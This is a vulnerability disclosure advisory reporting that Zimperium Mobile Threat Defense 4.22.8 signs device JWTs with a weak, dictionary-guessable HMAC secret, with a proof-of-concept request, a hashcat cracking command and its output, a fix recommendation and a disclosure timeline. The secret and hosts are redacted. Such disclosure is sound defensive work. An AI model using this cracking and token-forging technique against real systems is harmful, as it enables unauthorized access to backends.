usd-2023-0009 | JWT weak HMAC secret in Zimperium Mobile Threat Defense

Product: Zimperium Mobile Threat Defense
Affected Version: 4.22.8
Vulnerability Type: CWE 347 - Improper Verification of Cryptographic Signature
Security Risk: CRITICAL - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Vendor URL:
Vendor acknowledged vulnerability: Yes
Vendor Status: Unknown
CVE number: Not requested

Affected Component

UAT environment ( of Zimperium Mobile Threat Defense backend API.


Zimperium Mobile Threat Defense is a mobile solution for protecting against mobile threats.
It allows monitoring devices in real-time for known and unknown threats.
In the network communication with the API backend we discovered a JSON Web Token (JWT) that is used as an authentication token in the HTTP request.
It seems to be used to authenticate devices.
We found that this JWT is signed by HMAC, while using a weak secret for generating the signature.
This allows an attacker to craft arbitrary JWT that are accepted by the backend API as valid authentication tokens.

Proof of Concept

1 POST /srx HTTP/1.1
2 Host:
3 Content-Type: application/x-protobuf
4 Connection: close
5 X-zimperium-compressionAlgorithm: none
6 auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleH[...]3NX0.ktN67yCsQNaAl9VY5fo
7 Accept: /
8 User-Agent: Mozilla/4.0
9 Content-Length: 2796
10 Accept-Language: de-DE,de;q=0.9
11 Accept-Encoding: gzip, deflate
12 [...]

The used secret/password could be gussed without much effort via a dictionary attack: k[....]t (censored). To do this, the JWT was written to a file called jwt.txt, cracking the password by using hashcat.

1 # hashcat -m 16500 -a 0 jwt.txt passwords.list
3 hashcat (v6.2.6) starting
4 [...]
5 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleH[...]3NX0.ktN67yCsQNaAl9VY5foUesM18kptvHJ3FtO8EUFFFCU:k[...]t
7 Session..........: hashcat
8 Status...........: Cracked
9 Hash.Mode........: 16500 (JWT (JSON Web Token))
10 Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjQ4Mz...UFFFCU


We recommend to use a complex and random secret for signing the JWT. Following RFC 7518 chapter 3.2, this secret must have a minimum size as the size of the hash output of the used hash function.



  • 2023-03-30: First contact request via
  • 2023-04-17: Sending vulnerability information to
  • 2023-04-28 and 2023-05-08: Sent status request email to
  • 2023-05-15: Issue initially confirmed by Zimperium.
  • 2023-07-03 until 2023-10-23: Sent multiple status requests to Zimperium.
  • 2023-10-25: Received reply stating that our vulnerability disclosure was unknown to Zimperium's security team, therefore resent the report.
  • 2023-11-06 until 2023-11-20: Repeated requests asking for report confirmation.
  • 2023-12-20: Zimperium confirms receiving our report.
  • 2024-01-15: Requested another status updated and stated that we will assume the vulnerability to be fixed by end of january should we not hear otherwise.
  • 2024-01-29: Received no answer as of yet.
  • 2024-02-01: Since no answer was received this advisory is published.


This security vulnerability was identified by Dustin Born, Tim Kranz and Nicolas Schickert of usd AG.